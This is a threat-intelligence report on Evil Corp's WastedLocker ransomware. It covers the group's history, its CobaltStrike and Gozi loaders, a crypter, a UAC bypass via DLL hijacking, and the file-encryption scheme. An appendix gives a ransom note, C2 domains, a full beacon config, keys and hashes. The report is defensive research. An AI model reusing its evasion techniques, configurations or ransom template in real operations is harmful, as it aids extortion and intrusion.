Hijack Execution Flow: DLL Side-Loading	Technique	T1574.002	https://attack.mitre.org/techniques/T1574/002/
Valid Accounts	Technique	T1078	https://attack.mitre.org/techniques/T1078/
Privilege Escalation	Tactic	TA0004	https://attack.mitre.org/tactics/TA0004/
Valid Accounts	Technique	T1078	https://attack.mitre.org/techniques/T1078/
Defense Evasion	Tactic	TA0005	https://attack.mitre.org/tactics/TA0005/
Deobfuscate/Decode Files or Information	Technique	T1140	https://attack.mitre.org/techniques/T1140/
Indicator Removal on Host: Clear Windows Event Logs	Technique	T1070.001	https://attack.mitre.org/techniques/T1070/001/
Indicator Removal on Host: File Deletion	Technique	T1070.004	https://attack.mitre.org/techniques/T1070/004/
Indicator Removal on Host: Timestomp	Technique	T1070.006	https://attack.mitre.org/techniques/T1070/006/
Hijack Execution Flow: DLL Side-Loading	Technique	T1574.002	https://attack.mitre.org/techniques/T1574/002/
Masquerading: Rename System Utilities	Technique	T1036.003	https://attack.mitre.org/techniques/T1036/003/
Masquerading: Match Legitimate Name or Location	Technique	T1036.005	https://attack.mitre.org/techniques/T1036/005/
Use Alternate Authentication Material: Pass the Hash	Technique	T1550.002	https://attack.mitre.org/techniques/T1550/002/
Valid Accounts	Technique	T1078	https://attack.mitre.org/techniques/T1078/
Credential Access	Tactic	TA0006	https://attack.mitre.org/tactics/TA0006/
Brute Force: Password Spraying	Technique	T1110.003	https://attack.mitre.org/techniques/T1110/003/
Brute Force: Credential Stuffing	Technique	T1110.004	https://attack.mitre.org/techniques/T1110/004/
OS Credential Dumping: LSASS Memory	Technique	T1003.001	https://attack.mitre.org/techniques/T1003/001/
OS Credential Dumping: NTDS	Technique	T1003.003	https://attack.mitre.org/techniques/T1003/003/
Two-Factor Authentication Interception	Technique	T1111	https://attack.mitre.org/techniques/T1111/
Discovery	Tactic	TA0007	https://attack.mitre.org/tactics/TA0007/
Account Discovery	Technique	T1087
Account Discovery: Local Account	Technique	T1087.001	https://attack.mitre.org/techniques/T1087/001/
Account Discovery: Domain Account	Technique	T1087.002	https://attack.mitre.org/techniques/T1087/002/
Browser Bookmark Discovery	Technique	T1217	https://attack.mitre.org/techniques/T1217/
Domain Trust Discovery	Technique	T1482	https://attack.mitre.org/techniques/T1482/
File and Directory Discovery	Technique	T1083	https://attack.mitre.org/techniques/T1083
Network Service Scanning	Technique	T1046	https://attack.mitre.org/techniques/T1046
Network Share Discovery	Technique	T1135	https://attack.mitre.org/techniques/T1135
Permission Groups Discovery	Technique	T1069	https://attack.mitre.org/techniques/T1069
Process Discovery	Technique	T1057	https://attack.mitre.org/techniques/T1057
Query Registry	Technique	T1012	https://attack.mitre.org/techniques/T1012
Remote System Discovery	Technique	T1018	https://attack.mitre.org/techniques/T1018
System Information Discovery	Technique	T1082	https://attack.mitre.org/techniques/T1082
System Network Configuration Discovery	Technique	T1016	https://attack.mitre.org/techniques/T1016
System Network Connections Discovery	Technique	T1049	https://attack.mitre.org/techniques/T1049
System Owner/User Discovery	Technique	T1033	https://attack.mitre.org/techniques/T1033
System Service Discovery	Technique	T1007	https://attack.mitre.org/techniques/T1007
System Time Discovery	Technique	T1124	https://attack.mitre.org/techniques/T1124
Lateral Movement	Tactic	TA0008	https://attack.mitre.org/tactics/TA0008/
Lateral Tool Transfer	Technique	T1570	https://attack.mitre.org/techniques/T1570/
Remote Services: SMB/Windows Admin Shares	Technique	T1021.002	https://attack.mitre.org/techniques/T1021/002/
Remote Services: SSH	Technique	T1021.004	https://attack.mitre.org/techniques/T1021/004/
Remote Services: Windows Remote Management	Technique	T1021.006	https://attack.mitre.org/techniques/T1021/006/
Use Alternate Authentication Material: Pass the Hash	Technique	T1550.002	https://attack.mitre.org/techniques/T1550/002/
Collection	Tactic	TA0009	https://attack.mitre.org/tactics/TA0009/
Archive Collected Data: Archive via Utility	Technique	T1560.001	https://attack.mitre.org/techniques/T1560/001/
Automated Collection	Technique	T1119	https://attack.mitre.org/techniques/T1119/
Data from Information Repositories: SharePoint	Technique	T1213.002	https://attack.mitre.org/techniques/T1213/002/
Data from Local System	Technique	T1005	https://attack.mitre.org/techniques/T1005/
Data from Network Shared Drive	Technique	T1039	https://attack.mitre.org/techniques/T1039/
Data Staged: Local Data Staging	Technique	T1074.001	https://attack.mitre.org/techniques/T1074/001/
Data Staged: Remote Data Staging	Technique	T1074.002	https://attack.mitre.org/techniques/T1074/002/
Email Collection: Local Email Collection	Technique	T1114.001	https://attack.mitre.org/techniques/T1114/001/
Command and Control	Tactic	TA0011	https://attack.mitre.org/tactics/TA0011/
Application Layer Protocol: Web Protocols	Technique	T1071.001	https://attack.mitre.org/techniques/T1071/001/
Application Layer Protocol: DNS	Technique	T1071.004	https://attack.mitre.org/techniques/T1071/004/
Encrypted Channel: Asymmetric Cryptography	Technique	T1573.002	https://attack.mitre.org/techniques/T1573/002/
Protocol Tunneling	Technique	T1572	https://attack.mitre.org/techniques/T1572/
Exfiltration	Tactic	TA0010	https://attack.mitre.org/tactics/TA0010/
Automated Exfiltration	Technique	T1020	https://attack.mitre.org/techniques/T1020/
Data Transfer Size Limits	Technique	T1030	https://attack.mitre.org/techniques/T1030/
Exfiltration Over C2 Channel	Technique	T1041	https://attack.mitre.org/techniques/T1041/
Exfiltration Over Web Service: Exfiltration to Cloud Storage	Technique	T1567.002	https://attack.mitre.org/techniques/T1567/002/

Authors: Nikolaos Pantazopoulos, Stefano Antenucci (@Antelox) Michael Sandee and in close collaboration with NCC’s RIFT.

About the Research and Intelligence Fusion Team (RIFT):
RIFT leverages our strategic analysis, data science, and threat hunting capabilities to create actionable threat intelligence, ranging from IOCs and detection capabilities to strategic reports on tomorrow’s threat landscape. Cyber security is an arms race where both attackers and defenders continually update and improve their tools and ways of working. To ensure that our managed services remain effective against the latest threats, NCC Group operates a Global Fusion Center with Fox-IT at its core. This multidisciplinary team converts our leading cyber threat intelligence into powerful detection strategies.

1. Introduction

WastedLocker is a new ransomware locker we’ve detected being used since May 2020. We believe it has been in development for a number of months prior to this and was started in conjunction with a number of other changes we have seen originate from the Evil Corp group in 2020. Evil Corp were previously associated to the Dridex malware and BitPaymer ransomware, the latter came to prominence in the first half of 2017. Recently Evil Corp has changed a number of TTPs related to their operations further described in this article. We believe those changes were ultimately caused by the unsealing of indictments against Igor Olegovich Turashev and Maksim Viktorovich Yakubets, and the financial sanctions against Evil Corp in December 2019. These legal events set in motion a chain of events to disconnect the association of the current Evil Corp group and these two specific indicted individuals and the historic actions of Evil Corp.

2. Attribution and Actor Background

We have tracked the activities of the Evil Corp group for many years, and even though the group has changed its composition since 2011, we have been able to keep track of the group’s activities under this name.

2.1 Actor Tracking

Business associations are fairly fluid in organised cybercrime groups, Partnerships and affiliations are formed and dissolved much more frequently than in nation state sponsored groups, for example. Nation state backed groups often remain operational in similar form over longer periods of time. For this reason, cyber threat intelligence reporting can be misleading, given the difficulty of maintaining assessments of the capabilities of cybercriminal groups which are accurate and current.

As an example, the Anunak group (also known as FIN7 and Carbanak) has changed composition quite frequently. As a result, the public reporting on FIN7 and Carbanak and their various associations in various open and closed source threat feeds can distort the current reality. The Anunak or FIN7 group has worked closely with Evil Corp, and also with the group publicly referred to as TA505. Hence, TA505 activity is sometimes still reported as Evil Corp activity, even though these groups have not worked together since the second half of 2017.

It can also be difficult to accurately attribute responsibility for a piece of malware or a wave of infection because commodity malware is typically sold to interested parties for mass distribution, or supplied to associates who have experience in monetising access to a specific type of business, such as financial institutions. Similarly, it is easy for confusion to arise around the many financially oriented organised crime groups which are tracked publicly. Access to victim organisations is traded as a commodity between criminal actors and so business links often exist which are not necessarily related to the day to day operations of a group.

2.2 Evil Corp

Nevertheless, despite these difficulties, we feel that we can assert the following with high confidence, due to our in depth tracking of this group as it posed a significant threat to our clients. Evil Corp has been operating the Dridex malware since July 2014 and provided access to several groups and individual threat actors. However, towards the end of 2017 Evil Corp became smaller and used Dridex infections almost exclusively for targeted ransomware campaigns by deploying BitPaymer. The majority of victims were in North America (mainly USA) with a smaller number in Western Europe and instances outside of these regions being just scattered, individual cases. During 2018, Evil Corp had a short lived partnership with TheTrick group; specifically, leasing out access to BitPaymer for a while, prior to their use of Ryuk.

In 2019 a fork of BitPaymer usually referred to as DoppelPaymer appeared, although this was ransomware as a service and thus was not the same business model. We have observed some cooperation between the two groups, but as yet can draw no definitive conclusions as to the current relationship between these two threat actor groups.

After the unsealing of indictments by the US Department of Justice and actions against Evil Corp as group by the US Treasury Department, we detected a short period of inactivity from Evil Corp until January 2020. However, since January 2020 activity has resumed as usual, with victims appearing in the same regions as before. It is possible, however, that this was primarily a strategic move to suggest to the public that Evil Corp was still active as, from around the middle of March 2020, we failed to observe much activity from them in terms of BitPaymer deployments. Of course, this period coincided with the lockdowns due to the COVID19 pandemic.

The development of new malware takes time and it is probable that they had already started the development of new techniques and malware. Early indications that this work was underway included the use of a variant of Gozi we refer to as Gozi ISFB 2 variant. It is thought that this variant is intended as a replacement for Dridex botnet 501 as one of the persistent components on a target network. Similarly, a customized version of the CobaltStrike loader has been observed, possibly intended as a replacement for the Empire PowerShell framework previously used.

The group has access to highly skilled exploit and software developers capable of bypassing network defences on all different levels. The group seems to put a lot of effort into bypassing endpoint protection products; this observation is based on the fact that when a certain version of their malware is detected on victim networks the group is back with an undetected version and able to continue after just a short time. This shows the importance of victims fully understanding each incident that happens. That is, detection or blocking of a single element from the more advanced criminal actors does not mean they have been defeated.

The lengths Evil Corp goes through in order to bypass endpoint protection tools is demonstrated by the fact that they abused a victim’s email so they could pose as a legitimate potential client to a vendor and request a trial license for a popular endpoint protection product that is not commonly available.

It appears the group regularly finds innovative but practical approaches to bypass detection in victim networks based on their practical experience gained throughout the years. They also demonstrate patience and persistence. In one case, they successfully compromised a target over 6 months after their initial failure to obtain privileged access. They also display attention to detail by, for example, ensuring that they obtain the passwords to disable security tools on a network prior to deploying the ransomware.

2.3 WastedLocker

The new WastedLocker ransomware appeared in May 2020 (a technical description is included below). The ransomware name is derived from the filename it creates which includes an abbreviation of the victim’s name and the string ‘wasted’. The abbreviation of the victim’s name was also seen in BitPaymer, although a larger portion of the organisation name was used in BitPaymer and individual letters were sometimes replaced by similar looking numbers.

Technically, WastedLocker does not have much in common with BitPaymer, apart from the fact that it appears that victim specific elements are added using a specific builder rather than at compile time, which is similar to BitPaymer. Some similarities were also noted in the ransom note generated by the two pieces of malware. The first WastedLocker example we found contained the victim name as in BitPaymer ransom notes and also included both a protonmail.com and tutanota.com email address. Later versions also contained other Protonmail and Tutanota email domains, as well as Eclipso and Airmail email addresses. Interestingly the user parts of the email addresses listed in the ransom messages are numeric (usually 5 digit numbers) which is similar to the 6 to 12 digit numbers seen used by BitPaymer in 2018.

Evil Corp are selective in terms of the infrastructure they target when deploying their ransomware. Typically, they hit file servers, database services, virtual machines and cloud environments. Of course, these choices will also be heavily influenced by what we may term their ‘business model’ – which also means they should be able to disable or disrupt backup applications and related infrastructure. This increases the time for recovery for the victim, or in some cases due to unavailability of offline or offsite backups, prevents the ability to recover at all.

It is interesting that the group has not appeared to have engaged in extensive information stealing or threatened to publish information about victims in the way that the DoppelPaymer and many other targeted ransomware operations have. We assess that the probable reason for not leaking victim information is the unwanted attention this would draw from law enforcement and the public.

3. Distribution

While many things have changed in the TTPs of Evil Corp recently, one very notable element has not changed, the distribution via the SocGholish fake update framework. This framework is still in use although it is now used to directly distribute a custom CobaltStrike loader, described in 4.1, rather than Dridex as in the past years. One of the more notable features of this framework is the evaluation of wether a compromised victim system is part of a larger network, as a sole enduser system is of no use to the attackers. The SocGholish JavaScript bot has access to information from the system itself as it runs under the privileges of the browser user. The bot collects a large set of information and sends that to the SocGholish server side which, in turn, returns a payload to the victim system. Other methods of distribution also appear to still be in use, but we have not been able to independently verify this at the time of writing.

4. Technical Analysis

4.1 CobaltStrike payloads

The CobaltStrike payloads are embedded inside two types of PowerShell scripts. The first type (which targets Windows 64-bit only) decodes a base64 payload twice and then decrypts it using the AES algorithm in CBC mode. The AES key is derived by computing the SHA256 hash of the hard-coded string ‘saN9s9pNlD5nJ2EyEd4rPym68griTOMT’ and the initialisation vector (IV), is derived from the first 16 bytes of the twice base64-decoded payload. The script converts the decrypted payload (a base64-encoded string) to bytes and allocates memory before executing it.

The second type is relatively simpler and includes two embedded base64-encoded payloads, an injector and a loader for the CobaltStrike payload. It appears that both the injector and the loader are part of the ‘Donut’ project [3].

An interesting behaviour can be spotted in the CobaltStrike payloads that are delivered from the second type of PowerShell scripts. In these, the loader has been modified with the purpose of detecting CrowdStrike software (Figure 1). If the C:\\Program Files\\CrowdStrike directory exists, then the ‘FreeConsole’ Windows API is called after loading the CobaltStrike payload. Otherwise, the ‘FreeConsole’ function is called before loading the CobaltStrike beacon. It is assumed that this is an attempt to bypass CrowdStrike’s endpoint solution, although it still unclear if this is the case.

4.2 The Crypter

WastedLocker is protected with a custom crypter, referred to as CryptOne by Fox-IT InTELL. On examination, the code turned out to be very basic and used also by other malware families such as: Netwalker, Gozi ISFB v3, ZLoader and Smokeloader.

The crypter mainly contains junk code to increase entropy of the sample and hide the actual code. We have found 2 crypter variants with some code differences, but mostly with the same logic applied.

The first action performed by the crypter code is to check some specific registry key. In the variants analysed the registry key is either: interface\{b196b287-bab4-101a-b69c-00aa00341d07} or interface\{aa5b6a80-b834-11d0-932f-00a0c90dcaa9}. These keys relate to the UCOMIEnumConnections Interface and the IActiveScriptParseProcedure32 interface respectively. If the key is not detected, the crypter will enter an infinite loop or exit, thus it is used as an anti-analysis technique.

In the next step the crypter allocates a memory buffer calling the VirtualAlloc API. A while loop is used to join a series of data blobs into the allocated buffer, and the contents of this buffer are then decrypted with an XOR based algorithm. Once decrypted, the crypter jumps into the data blob which turns out to be a shellcode responsible for decrypting the actual payload. The shellcode copies the encrypted payload into another buffer allocated by calling the VirtualAlloc API, and then decrypts this with an XOR based algorithm in a similar way to that described above. To execute the payload, the shellcode replaces the crypter’s code in memory with the code of the payload just decrypted, and jumps to its entry point.

As noted above, we have observed this crypter being used by other malware families as well. Related information and IOCs can be found in the Appendix.

4.3 WastedLocker Ransomware

WastedLocker aims to encrypt the files of the infected host. However before the encryption procedure runs, WastedLocker performs a few other tasks to ensure the ransomware will run properly.

First, Wastedlocker decrypts the strings which are stored in the .bss section and then calculates a DWORD value that is used later for locating decrypted strings that are related to the encryption process. This is described in more detail in the String encryption section. In addition, the ransomware creates a log file lck.log and then sets an exception handler that creates a crash dump file in the Windows temporary folder with the filename being the ransomware’s binary filename.

If the ransomware is not executed with administrator rights or if the infected host runs Windows Vista or later, it will attempt to elevate its privileges. In short, WastedLocker uses a well-documented UAC bypass method [1] [2]. It chooses a random file (EXE/DLL) from the Windows system32 folder and copies it to the %APPDATA% location under a different hidden filename. Next, it creates an alternate data stream (ADS) into the file named bin and copies the ransomware into it. WastedLocker then copies winsat.exe and winmm.dll into a newly created folder located in the Windows temporary folder. Once loaded, the hijacked DLL (winmm.dll) is patched to execute the aforementioned ADS.

The ransomware supports the following command line parameters (Table 1):

Parameter	Purpose
-r	i. Delete shadow copies ii. Copy the ransomware binary file to %windir%\system32 and take ownership of it (takeown.exe /F filepath) and reset the ACL permissions iii. Create and run a service. The service is deleted once the encryption process is completed.
-s	Execute service’s entry
-p directory_path	Encrypt files in a specified directory and then proceed with the rest of the files in the drive
-f directory_path	Encrypt files in a specified directory

It is also worth noting that in case of any failure from the first two parameters (-r and –s), the ransomware proceeds with the encryption but applies the following registry modifications in the registry key Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap:

Name	Modification
ProxyBypass	Deletes this key
IntranetName	Deletes this key
UNCAsIntranet	Sets this key to 0
AutoDetect	Sets this key to 1

The above modifications apply to both 32-bit and 64-bit systems and is possibly done to ensure that the ransomware can access remote drives. However, a bug is included in the architecture identification code. The ransomware authors use a well-known method to identify the operating system architecture. The ransomware reads the memory address 0x7FFE0300 (KUSER_SHARED_DATA) and checks if the pointer is zero. If it is then the 32-bit process of the ransomware is running in a Windows 64-bit host (Figure 2). The issue is that this does not work on Windows 10 systems.

Additionally, WastedLocker chooses a random name from a generated name list in order to generate filename or service names. The ransomware creates this list by reading the registry keys stored in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control and then separates their names whenever a capital letter is found. For example, the registry key AppReadiness will be separated to two words, App and Readiness.

4.4 Strings Encryption

The strings pertaining to the ransomware are encrypted and stored in the .bss section of the binary file. This includes the ransom note along with other important information necessary for the ransomware’s tasks. The strings are decrypted using a key that combined the size and raw address of the .bss section, as well as the ransomware’s compilation timestamp.

The code’s authors use an interesting method to locate the encrypted strings related to the encryption process. To locate one of them, the ransomware calculates a checksum that is looked up in the encrypted strings table. The checksum is derived from both a constant value that is unique to each string and a fixed value, which are bitwise XORed. The encrypted strings table consists of a struct like shown below for each string.

struct ransomware_string
{
WORD total_size; // string_length + checksum + ransom_string
WORD string_length;
DWORD Checksum; 
BYTE[string_length] ransom_string;
};

4.5 Encryption Process

The encryption process is quite straightforward. The ransomware targets the following drive types:

• Removable
• Fixed
• Shared
• Remote

Instead of including a list of extension targets, WastedLocker includes a list of directories and extensions to exclude from the encryption process. Files with a size less than 10 bytes are also ignored and in case of a large file, the ransomware encrypts them in blocks of 64MB.

Once a drive is found, the ransomware starts searching for and encrypting files. Each file is encrypted using the AES algorithm with a newly generated AES key and IV (256-bit in CBC mode) for each file. The AES key and IV are encrypted with an embedded public RSA key (4096 bits). The RSA encrypted output of key material is converted to base64 and then stored into the ransom note.

For each encrypted file, the ransomware creates an additional file that includes the ransomware note. The encrypted file’s extension is set according to the targeted organisations name along with the prefix wasted (hence the name we have gave to this ransomware). For example, test.txt.orgnamewasted (encrypted data) and test.txt.orgnamewasted_info (ransomware note). The ransomware note and the list of excluded directories and extensions is available in the Appendix. Finally, once the encryption of each file has been completed, the ransomware updates the log file with the following information:

• Number of targeted files
• Number of files which were encrypted
• Number of files which were not encrypted due to access rights issues

4.6 WastedLocker Decrypter

During our analysis, we managed to identify a decrypter for WastedLocker. The decrypter requires administrator privileges and similarl to the encryption process, it reports the number of files which were successfully decrypted (Figure 3).

References

1. hxxps://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e
2. hxxps://github.com/hfiref0x/UACME
3. hxxps://github.com/TheWover/donut/

Appendix

Ransom note

*ORGANIZATION_NAME*

YOUR NETWORK IS ENCRYPTED NOW

USE *EMAIL1* | *EMAIL2* TO GET THE PRICE FOR YOUR DATA

DO NOT GIVE THIS EMAIL TO 3RD PARTIES

DO NOT RENAME OR MOVE THE FILE

THE FILE IS ENCRYPTED WITH THE FOLLOWING KEY:
[begin_key]*[end_key]
KEEP IT

Excluded extensions (in addition to orgnamewasted and orgnamewasted_info)

*\ntldr
*.386
*.adv
*.ani
*.bak
*.bat
*.bin
*.cab
*.cmd
*.com
*.cpl
*.cur
*.dat
*.diagcab
*.diagcfg
*.dll
*.drv
*.exe
*.hlp
*.hta
*.icl
*.icns
*.ics
*.idx
*.ini
*.key
*.lnk
*.mod
*.msc
*.msi
*.msp
*.msstyles
*.msu
*.nls
*.nomedia
*.ocx
*.ps1
*.rom
*.rtp
*.scr
*.sdi
*.shs
*.sys
*.theme
*.themepack
*.wim
*.wpx
*\bootmgr
*\grldr

Excluded directories

*\$recycle.bin*
*\appdata*
*\bin*
*\boot*
*\caches*
*\dev*
*\etc*
*\initdr*
*\lib*
*\programdata*
*\run*
*\sbin*
*\sys*
*\system volume information*
*\users\all users*
*\var*
*\vmlinuz*
*\webcache*
*\windowsapps*
c:\program files (x86)*
c:\program files*
c:\programdata*
c:\recovery*
c:\users\ %USERNAME%\appdata\local\temp*
c:\users\ %USERNAME%\appdata\roaming*
c:\windows*

IoCs

IoCs related to targeted ransomware attacks are a generally misunderstood concept in the case of targeted ransomware. Each ransomware victim has a custom build configured or compiled for them and so the knowing the specific hashes used against historic victims does not provide any protection at all. Even if behavioural patterns of the ransomware or network related indicators of the ransomware stage are given (should they exist), it is arguable whether detection of the attack at that stage would allow prevention of the actual attack. We do include known ransomware hashes here; however, please note that these are for RESEARCH PURPOSES ONLY. Blocking files based on these file attributes in any endpoint protection product will not provide any value.

At Fox-IT we focus mainly on detection of the initial stages of such attacks (such as the initial stage of infection) by detecting the various methods of infection delivery as well as the lateral movement stage which typically involves scanning, exploitation and/or credential dumping. Providing these IoCs to the wider public would, however, be counterproductive as the threat actors would simply change these methods or work around the indicators. However, we have included some of them to provide historical as well as current protection or detection against this particular threat, and provide a better understanding of this threat actor. It is also hoped this information will help other organisations to conduct further research into this particular threat.

CobaltStrike
This particular set of domains is used as C&C by the group for CobaltStrike lateral movement activity, using a custom loader, Note that in 2020 the group has completely switched to using CobaltStrike and is no longer using the Empire PowerShell framework as it is no longer being updated by the original creators.

CobaltStrike C&C Domains

adsmarketart.com
advancedanalysis.be
advertstv.com
amazingdonutco.com
cofeedback.com
consultane.com
dns.proactiveads.be
mwebsoft.com
rostraffic.com
traffichi.com
typiconsult.com
websitelistbuilder.com

CobaltStrike Beacon config

SETTING_PROTOCOL: short: 8 (DNS: 0, SSL: 1)
SETTING_PORT: short: 443
SETTING_SLEEPTIME: int: 45000
SETTING_MAXGET: int: 1403644
SETTING_JITTER: short: 37
SETTING_MAXDNS: short: 255
SETTING_PUBKEY: ''
SETTING_PUBKEY SHA256: 14f2890a18656e4e766aded0a2267ad1c08a9db11e0e5df34054f6d8de749fe7
ptr SETTING_DOMAINS: websitelistbuilder.com,/jquery-3.3.1.min.js
ptr SETTING_USERAGENT: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
ptr SETTING_SUBMITURI: /jquery-3.3.2.min.js
SETTINGS_C2_RECOVER:
    print: True
    append: 1522
    prepend: 84
    prepend: 3931
    base64url: True
    mask: True
SETTING_C2_REQUEST (transform steps):
   _HEADER: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
   _HEADER: Referer: http://code.jquery.com/
   _HEADER: Accept-Encoding: gzip, deflate
   BUILD: metadata
   BASE64URL: True
   PREPEND: __cfduid=
   HEADER: Cookie
SETTING_C2_POSTTREQ (transform steps):
   _HEADER: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
   _HEADER: Referer: http://code.jquery.com/
   _HEADER: Accept-Encoding: gzip, deflate
   BUILD: metadata
   MASK: True
   BASE64URL: True
   PARAMETER: __cfduid
   BUILD: output
   MASK: True
   BASE64URL: True
   PRINT: True
ptr DEPRECATED_SETTING_SPAWNTO: 
ptr SETTING_SPAWNTO_X86: %windir%\syswow64\rundll32.exe
ptr SETTING_SPAWNTO_X64: %windir%\sysnative\rundll32.exe
ptr SETTING_PIPENAME: 
SETTING_CRYPTO_SCHEME: short: 0 (CRYPTO_LICENSED_PRODUCT)
SETTING_DNS_IDLE: int: 1249756273
SETTING_DNS_SLEEP: int: 0
ptr SETTING_C2_VERB_GET: GET
ptr SETTING_C2_VERB_POST: POST
SETTING_C2_CHUNK_POST: int: 0
SETTING_WATERMARK: int: 305419896 (0x12345678)
SETTING_CLEANUP: short: 1
SETTING_CFG_CAUTION: short: 0
ptr SETTING_HOST_HEADER: 
SETTING_HTTP_NO_COOKIES: short: 1
SETTING_PROXY_BEHAVIOR: short: 2
SETTING_EXIT_FUNK: short: 0
SETTING_KILLDATE: int: 0
SETTING_GARGLE_NOOK: int: 154122
ptr SETTING_GARGLE_SECTIONS: '`\x02\x00Q\xfd\x02\x00\x00\x00\x03\x00\xc0\xa0\x03\x00\x00\xb0\x03\x000\xce\x03'
SETTING_PROCINJ_PERMS_I: short: 4
SETTING_PROCINJ_PERMS: short: 32
SETTING_PROCINJ_MINALLOC: int: 17500
ptr SETTING_PROCINJ_TRANSFORM_X86: '\x02\x90\x90'
ptr SETTING_PROCINJ_TRANSFORM_X64: '\x02\x90\x90'
ptr SETTING_PROCINJ_STUB: *p?'??7???]
ptr SETTING_PROCINJ_EXECUTE: BntdllRtlUserThreadStart
SETTING_PROCINJ_ALLOCATOR: short: 1
Deduced metadata:
 WANTDNS: False
 SSL: True
 MAX ENUM: 55
 Version: CobaltStrike v4.0 (Dec 5, 2019)

Custom CobaltStrike loader samples (sha256 hashes):

2f72550c99a297558235caa97d025054f70a276283998d9686c282612ebdbea0
389f2000a22e839ddafb28d9cf522b0b71e303e0ae89e5fc2cd5b53ae9256848
3dfb4e7ca12b7176a0cf12edce288b26a970339e6529a0b2dad7114bba0e16c3
714e0ed61b0ae779af573dce32cbc4d70d23ca6cfe117b63f53ed3627d121feb
810576224c148d673f47409a34bd8c7f743295d536f6d8e95f22ac278852a45f
83710bbb9d8d1cf68b425f52f2fb29d5ebbbd05952b60fb3f09e609dfcf1976c
91e18e5e048b39dfc8d250ae54471249d59c637e7a85981ab0c81cf5a4b8482d
adabf8c1798432b766260ac42ccdd78e0a4712384618a2fc2e3695ff975b0246
b0354649de6183d455a454956c008eb4dec093141af5866cc9ba7b314789844d
bc1c5fecadc752001826b736810713a86cfa64979b3420ab63fe97ba7407f068
c781c56d8c8daedbed9a15fb2ece165b96fdda1a85d3beeba6bb3bc23e917c90
c7cde31daa7f5d0923f9c7591378b4992765eac12efa75c1baaaefa5f6bdb2b6
f093b0006ef5ac52aa1d51fee705aa3b7b10a6af2acb4019b7bc16da4cabb5a1

.NET injector (Donut) (sha256 hash):

6088e7131b1b146a8e573c096386ff36b19bfad74c881ca68eda29bd4cea3339

Gozi ISFB v2
This particular set contains C&C domains, bot version, Group ID, RSA key and Serpent encryption keys for 2 Gozi variants used for persistence in victim networks during 2020.

Gozi C&C Domains

bettyware.xyz
celebratering.xyz
fakeframes.xyz
gadgetops.xyz
hotphonecall.xyz
justbesarnia.xyz
kordelservers.xyz
tritravlife.xyz
veisllc.xyz
wineguroo.xyz

Gozi versions

217119
217123

Gozi Group ID

30000

Gozi RSA key

00020000BEA9877343AD9F6EA8E122A5A540C071E96AB5E0C8D73991BFACB8D7867125966C60153EB1315F07FD8B276D7A45A5404642CC9D1F79357452BB84EDAA7CE21300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010001

Gozi serpent network encryption keys:

8EzkwaSgkg565AyQ
eptDZELKvZUseoAH
GbdG3H7PgSVEme2r
RQ5btM2UfoCHAMKN

Gozi samples (sha256 hashes)

5706e1b595a9b7397ff923223a6bc4e4359e7b1292eaed5e4517adc65208b94b
ba71ddcab00697f42ccc7fc67c7a4fccb92f6b06ad02593a972d3beb8c01f723
c20292af49b1f51fac1de7fd4b5408ed053e3ebfcb4f0566a2d4e7fafadde757
cf744b04076cd5ee456c956d95235b68c2ec3e2f221329c45eac96f97974720a

WastedLocker samples (sha256 hashes)

5cd04805f9753ca08b82e88c27bf5426d1d356bb26b281885573051048911367
887aac61771af200f7e58bf0d02cb96d9befa11deda4e448f0a700ccb186ce9d
8897db876553f942b2eb4005f8475a232bafb82a50ca7761a621842e894a3d80
bcdac1a2b67e2b47f8129814dca3bcf7d55404757eb09f1c3103f57da3153ec8
e3bf41de3a7edf556d43b6196652aa036e48a602bb3f7c98af9dae992222a8eb
ed0632acb266a4ec3f51dd803c8025bccd654e53c64eb613e203c590897079b3

The following IoCs are specifically related to the crypter used by Evil Corp, which we refer to as CryptOne. Given that CryptOne is used by more malware families and variations than just those related to Evil Corp it is likely that CryptOne is a third party service.

List of metadata extracted from Gozi ISFB v3 samples

Bot version	3.00.854
RSA key	00040000C3DC07D4E1AC941077214371F45B5FDDDF389654D0851D66809BC989ABA850C27D3718D195EE1388087F21FFE759184C185959D1AB5DBC40C3D94C88F46FE8AA1CA94CB07CF110866559456F9DF6F1EAE9C3002F1A257A2F99E3EB3EF6C727516BA65CE56C82E23CBBE87E1EE95F34DD7DC0D07B7C1F57B71BC49DC35DEB2CAB0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010001
Group IDs	202004081 202004091 202004141 202004231 202005041 80000
Serpent keys	1qzRaTGYO5dpREYI 8JbpEEfNYPlYoAN4 dLwZ7QwI57AkzZEl UEwFH6L9iBbdJxAf uIIXQ4B05dT8AytD vuARb2EPotEtfAX2 Z6fiC4XCvQmfkgua
C&Cs	hxxps://devicelease.xyz hxxps://guiapocos.xyz hxxps://ludwoodgroup.xyz hxxps://respondcritique.xyz hxxps://triomigratio.xyz hxxps://uplandcaraudio.xyz hxxps://woofwoofacademy.xyz

ZLoader (MD5: fb95561e8ed7289d015e945ad470e6db)

RC4 key	das32hfkAN3R2TCS
Botnet name	pref
Nonce	0x7
Static config RC4 key	kyqvkjlpclbcnagbhiwo
Version	1.2.22.0
C&Cs	hxxp://advokat-hodonin.info/gate.php hxxp://penaz.info/gate.php
Binary Distribution	hxxp://paiolets.com/install.exe

Netwalker ransomware (MD5: 198b2443827f771f216cd8463c25c5d8)

SmokeLoader (MD5: 2143d279be8d1bb4110b7ebe8dc3afbc)

RC4 send	0x69A84992
RC4 recv	0x5D7C6D5B
C&Cs	hxxp://flablenitev.site/index.php hxxp://lendojekam.xyz/index.php hxxp://lgrarcosbann.club/index.php hxxp://lpequdeliren.fun/index.php hxxp://transvil2.xyz/index.php
Binary Distribution	hxxps://szn.services/1.exe hxxps://utenti.info/1.exe hxxps://utenti.live/1.exe

SecTool checker (MD5: b33753fae7bd1e68e0b1cc712b5fb867)

We have found a sample crypted by the CryptOne crypter as used by WastedLocker, which is capable of detecting/disabling a list of security software. It is believed that this tool is used during ransomware deployment, but we have no specific evidence that it was used by Evil Corp. However in the past we have seen execution of commands listed in the tool to disable Microsoft Windows Defender.

List of Registry Keys checked	Software\ESET SYSTEM\ControlSet001\Services\MBAMService
